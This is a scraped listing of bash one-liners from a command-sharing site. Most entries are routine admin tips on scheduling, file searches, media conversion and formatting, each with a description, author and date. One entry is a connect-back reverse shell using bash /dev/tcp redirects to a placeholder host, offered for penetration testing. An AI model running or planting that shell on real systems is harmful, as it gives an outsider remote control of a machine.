Commands tagged bash (821)

  • Check out the usage of 'trap', you may not have seen this one much. This command provides a way to schedule commands at certain times by running them after sleep finishes sleeping. In the example 'sleep 2h' sleeps for 2 hours. What is cool about this command is that it uses the 'trap' builtin bash command to remove the SIGHUP trap that normally exits all processes started by the shell upon logout. The 'trap 1' command then restores the normal SIGHUP behaviour. It also uses the 'nice -n 19' command which causes the sleep process to be run with minimal CPU. Further, it runs all the commands within the 2nd parentheses in the background. This is sweet cuz you can fire off as many of these as you want. Very helpful for shell scripts.


    2
    ( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & )
    AskApache · 2009-10-10 04:43:44 7
  • Alternative to the ping check if your firewall blocks ping. Uses curl to get the landing page silently, or fail with an error code. You can probably do this with wget as well. Show Sample Output


    2
    curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
    mccalni · 2009-10-23 14:29:06 4
  • Find files recursively that were updated in the last hour ignoring SVN files and folders. Incase you do a full svn up on accident.


    2
    find . -mmin -60 -not -path "*svn*" -print|more
    bloodykis · 2009-11-10 18:34:53 7

  • 2
    echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'
    axelabs · 2010-01-16 22:01:37 3
  • hit BACKSPACE more than once to delete more words Show Sample Output


    2
    <ALT> <BACKSPACE>
    wincus · 2010-01-27 19:52:51 4

  • 2
    <ALT> .
    fraktil · 2010-01-28 03:33:31 5

  • 2
    find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
    glennie · 2010-02-04 15:13:27 4
  • First argument: string to put a box around. Second argument: character to use for box (default is '=') Same as command #4962, cleaned up, shortened, and more efficient. Now a ' * ' can be used as the box character, and the variables get unset so they don't mess with anything else you might have. They marked c++ as a function for this command, but I'm not sure why. Must be a bug. Show Sample Output


    2
    box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
    mightybs · 2010-02-26 17:14:52 3
  • Determines the flavor of a shared library by looking at the addresses of its exposed functions and seeing if they are 16 bytes or 8 bytes long. The command is written so the library you are querying is passed to a variable up font -- it would be simple to convert this to a bash function or script using this format. Show Sample Output


    2
    libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
    birnam · 2010-03-07 04:24:08 3
  • Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/


    2
    exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
    truemilk · 2010-03-18 17:25:08 6
  • This normalizes volume in your mp3 library, but uses mp3gain's "album" mode. This applies a gain change to all files from each directory (which are presumed to be from the same album) - so their volume relative to one another is changed, while the average album volume is normalized. This is done because if one track from an album is quieter or louder than the others, it was probably meant to be that way.


    2
    find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +
    Mikelifeguard · 2010-03-21 22:23:44 3

  • 2
    ls -d $(echo ${PATH//:/ }) > /dev/null
    ger · 2010-03-25 17:38:57 3
  • extension to tali713's random fact generator. It takes the output & sends it to notify-osd. Display time is proportional to the lengh of the fact.


    2
    wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
    mtron · 2010-04-02 09:43:32 4
  • Change the APP variable's value to whatever you want to install. Depending on how fast your machine is, you'll want to adjust the value 50 to something else. You might also want to play a different game than Gnometris - just make sure it's a GUI game.


    2
    APP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi
    rkulla · 2010-04-18 19:32:26 39
  • This will search all directories and ignore the CVS ones. Then it will search all files in the resulting directories and act on them.


    2
    for dir in $(find -type d ! -name CVS); do for file in $(find $dir -maxdepth 1 -type f); do rm $file; cvs delete $file; done; done
    ubersoldat · 2010-04-27 16:03:33 9
  • Just a quick hack to give reasonable filenames to TrueType and OpenType fonts. I'd accumulated a big bunch of bizarrely and inconsistently named font files in my ~/.fonts directory. I wanted to copy some, but not all, of them over to my new machine, but I had no idea what many of them were. This script renames .ttf files based on the name embedded inside the font. It will also work for .otf files, but make sure you change the mv part so it gives them the proper extension. REQUIREMENTS: Bash (for extended pattern globbing), showttf (Debian has it in the fontforge-extras package), GNU grep (for context), and rev (because it's hilarious). BUGS: Well, like I said, this is a quick hack. It grew piece by piece on the command line. I only needed to do this once and spent hardly any time on it, so it's a bit goofy. For example, I find 'rev | cut -f1 | rev' pleasantly amusing --- it seems so clearly wrong, and yet it works to print the last argument. I think flexibility in expressiveness like this is part of the beauty of Unix shell scripting. One-off tasks can be be written quickly, built-up as a person is "thinking aloud" at the command line. That's why Unix is such a huge boost to productivity: it allows each person to think their own way instead of enforcing some "right way". On a tangent: One of the things I wish commandlinefu would show is the command line HISTORY of the person as they developed the script. I think it's that conversation between programmer and computer, as the pipeline is built piece-by-piece, that is the more valuable lesson than any canned script. Show Sample Output


    2
    shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done
    hackerb9 · 2010-04-30 09:46:45 6
  • Can be useful to granulary flush files in a CDN after they've been changed in the S3 bucket. Show Sample Output


    2
    changing_assets = `s3cmd sync --dry-run -P -M --exclude=*.php --delete-removed #{preprod_release_dir}/web/ #{s3_bucket} | grep -E 'delete:|upload:' | awk '{print $2}' | sed s_#{preprod_release_dir}/web__`
    trivoallan · 2010-05-07 16:03:42 3
  • I've wanted this for a long time, finally just sat down and came up with it. This shows you the sorted output of ps in a pretty format perfect for cron or startup scripts. You can sort by changing the k -vsz to k -pmem for example to sort by memory instead. If you want a function, here's one from my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html aa_top_ps(){ local T N=${1:-10};T=${2:-vsz}; ps wwo pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,args k -${T} -A|sed -u "/^ *PID/d;${N}q"; } Show Sample Output


    2
    command ps wwo pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,args k -vsz -A|sed -u '/^ *PID/d;10q'
    AskApache · 2010-05-18 18:41:38 6
  • This provides a way to sort output based on the length of the line, so that shorter lines appear before longer lines. It's an addon to the sort that I've wanted for years, sometimes it's very useful. Taken from my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html Show Sample Output


    2
    sortwc () { local L;while read -r L;do builtin printf "${#L}@%s\n" "$L";done|sort -n|sed -u 's/^[^@]*@//'; }
    AskApache · 2010-05-20 20:13:52 7
  • Same as original, but works in bash


    2
    while [ 1 -lt 2 ]; do i=0; COL=$((RANDOM%$(tput cols)));ROW=$((RANDOM%$(tput cols)));while [ $i -lt $COL ]; do tput cup $i $ROW;echo -e "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null ; i=$(expr $i + 1); done; done
    dave1010 · 2010-05-28 16:07:56 5
  • One of the first functions programmers learn is how to print a line. This is my 100% bash builtin function to do it, which makes it as optimal as a function can be. The COLUMNS environment variable is also set by bash (including bash resetting its value when you resize your term) so its very efficient. I like pretty-output in my shells and have experimented with several ways to output a line the width of the screen using a minimal amount of code. This is like version 9,000 lol. This function is what I use, though when using colors or other terminal features I create separate functions that call this one, since this is the lowest level type of function. It might be better named printl(), but since I use it so much it's more optimal to have the name contain less chars (both for my programming and for the internal workings). If you do use terminal escapes this will reset to default. tput sgr0 For implementation ideas, check my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html Show Sample Output


    2
    L(){ l=`builtin printf %${2:-$COLUMNS}s` && echo -e "${l// /${1:-=}}"; }
    AskApache · 2010-06-14 04:35:30 6
  • This function does a batch edition of all OOO3 Writer files in current directory. It uses sed to search a FOO pattern into body text of each file, then replace it to foo pattern (only the first match) . I did it because I've some hundreds of OOO3 Writer files where I did need to edit one word in each ones and open up each file in OOO3 gui wasn't an option. Usage: bsro3 FOO foo


    2
    bsro3 () { P=`pwd`; S=$1; R=$2; ls *.odt > /dev/null 2>&1; if [[ $? -ne 0 ]]; then exit 1; fi; for i in *.odt; do mkdir ${P}/T; cd ${P}/T; unzip -qq "$P"/"$i"; sed -i "s/$S/$R/" ${P}/T/content.xml; zip -qq -r "$P"/"$i" *; cd ${P}; rm -rf ${P}/T; done; }
    danpos · 2010-06-30 04:43:54 7
  • You can install filterous with sudo apt-get install libxslt1-dev; sudo easy_install -U filterous Show Sample Output


    2
    filterous -dntb --tag Bash < bookmarks.xml
    l0b0 · 2010-07-07 07:42:11 4
  • This command will download $file via server. I've used this when FTP was broken at the office and I needed to download some software packages.


    2
    file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $file -O -" > $PWD/${file##*/}
    michaelmior · 2010-08-02 15:59:45 5
  • i have a large video file, 500+ MB, so i cant upload it to flickr, so to reduce the size i split it into 2 files. the command shows the splitting for the first file, from 0-4 minutes. ss is start time and t is duration (how long you want the output file to be). credit goes to philc: http://ubuntuforums.org/showthread.php?t=480343 NOTE: when i made the second half of the video, i got a *lot* of lines like this: frame= 0 fps= 0 q=0.0 size= 0kB time=10000000000.00 bitrate= 0.0kbit just be patient, it is working =) Show Sample Output


    2
    ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV
    nickleus · 2010-08-08 23:43:28 3
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batch convert Nikon RAW (nef) images to JPG
converts RAW files from a Nikon DSLR to jpg for easy viewing etc. requires ufraw package

Change user within ssh session retaining the current MIT cookie for X-forwarding
When you remotely log in like "ssh -X userA:host" and become a different user with "su UserB", X-forwarding will not work anymore since /home/UserB/.Xauthority does not exist. This will use UserA's information stored in .Xauthority for UserB to enable X-forwarding. Watch http://prefetch.net/blog/index.php/2008/04/05/respect-my-xauthority/ for details.

Open Remote Desktop (RDP) from command line and connect local resources
The above command will open a Remote Desktop connection from command line, authenticate using default username and password (great for virtual machines; in the exampe above it's administrator:password), create a shared folder between your machine and the other machine and configure resolution to best fit your desktop (I don't like full screen because it make the desktop panels to disappear). The command will run in the background, and expect to receive parameters. You should enter hostname or IP address as a parameter to the command, and can also override the defaults parameters with your own.

High resolution video screen recording
$ gorecord foo.mp4 I've tried all of the screen recorders available for Linux and this is easily the best. xvidcap segfaults; VNC is too much hassle. There are alternatives of this command already here that I am just too lazy to reply to. Messing with the frames per second option, -r, 25 seems to be the best. Any lower and the video will look like a flipbook, if it records at all - -r 10 won't - any faster is the same, oddly enough. Edit: CLF doesn't like my long command to add audio, so here it is in the description. $ goaddaudio() ${ $if [ $# != 3 ]; then $ echo 'goaddaudio < audio > < src video > < dst video >' $ return $ fi $ $ f=goaddaudio$RANDOM $ ffmpeg -i "$2" &> $f $ d=$( grep Duration $f | awk '{print $2}' | tr -d ',' ) && $ rm $f && $ ffmpeg -i "$1" -i "$2" -r 25 -ab 192k -ar 44100 -sameq -t $d "$3" $}

Remove job from crontab by commandline
The "-u USER" is optional if root user is used

Do quick arithmetic on numbers from STDIN with any formatting using a perl one liner.
Good for summing the numbers embedded in text - a food journal entry for example with calories listed per food where you want the total calories. Use this to monitor and keep a total on anything that ouputs numbers.

Create the oauth token required for a Twitter stream feed
This is the THIRD in a set of five commands. See my other commands for the previous two. This step creates the oauth 1.0 token as explained in http://oauth.net/core/1.0/ The token is required for a Twitter filtered stream feed (and almost all Twitter API calls) This token is simply an encrypted version of your base string. The encryption key used is your hmac. The last part of the command scans the Base64 token string for '+', '/', and '=' characters and converts them to percentage-hex escape codes. (URI-escapeing). This is also a good example of where the $() syntax of Bash command substitution fails, while the backtick form ` works - the right parenthesis in the case statement causes a syntax error if you try to use the $() syntax here. See my previous two commands step1 and step2 to see how the base string variable $b and hmac variable $hmac are generated.

count how many times a string appears in a (source code) tree
grep -o puts each occurrence in a separate line

Mount directories in different locations
Like symlinked directories, you can mount a directory at a different location. For example mounting a directory from one location in to the http root without having to make your program follow symlinks or change permissions when reading.

Lookup hostname for IP address


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